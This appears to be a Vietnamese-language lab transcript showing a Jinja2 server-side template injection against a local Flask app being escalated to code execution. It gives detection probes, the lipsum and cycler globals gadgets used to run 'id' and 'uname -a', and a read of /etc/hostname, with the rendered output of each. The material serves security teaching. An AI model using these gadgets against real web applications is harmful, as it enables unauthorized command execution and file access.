# Transcript lab 8.1 - SSTI Jinja2 -> RCE (chay that 2026-10-18 17:24)
# App: Flask 127.0.0.1:8064 | Exploit: bash exploit.sh

=== [0] Dung binh thuong ===
<h2>Xin chao, Hai!</h2><p>Chuc ban mot ngay tot lanh.</p>
=== [1] Phat hien SSTI: {{7*7}} -> 49 ===
<h2>Xin chao, 49!</h2><p>Chuc ban mot ngay tot lanh.</p>
=== [2] Xac nhan Jinja2: {{7*'7'}} -> 7777777 (Python nhan chuoi) ===
<h2>Xin chao, 7777777!</h2><p>Chuc ban mot ngay tot lanh.</p>
=== [3] RCE qua gadget lipsum.__globals__['os'] -> chay 'id' ===
<h2>Xin chao, uid=1000(haipanda) gid=1000(Administrator) groups=1000(Administrator),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),1001(docker)
!</h2><p>Chuc ban mot ngay tot lanh.</p>
=== [4] RCE qua gadget cycler.__init__.__globals__.os -> 'uname -a' ===
<h2>Xin chao, Linux Haind 6.18.54.1-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Tue Oct  6 19:13:07 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
!</h2><p>Chuc ban mot ngay tot lanh.</p>
=== [5] Doc file qua SSTI: /etc/hostname ===
<h2>Xin chao, Haind
!</h2><p>Chuc ban mot ngay tot lanh.</p>
=== DONE ===
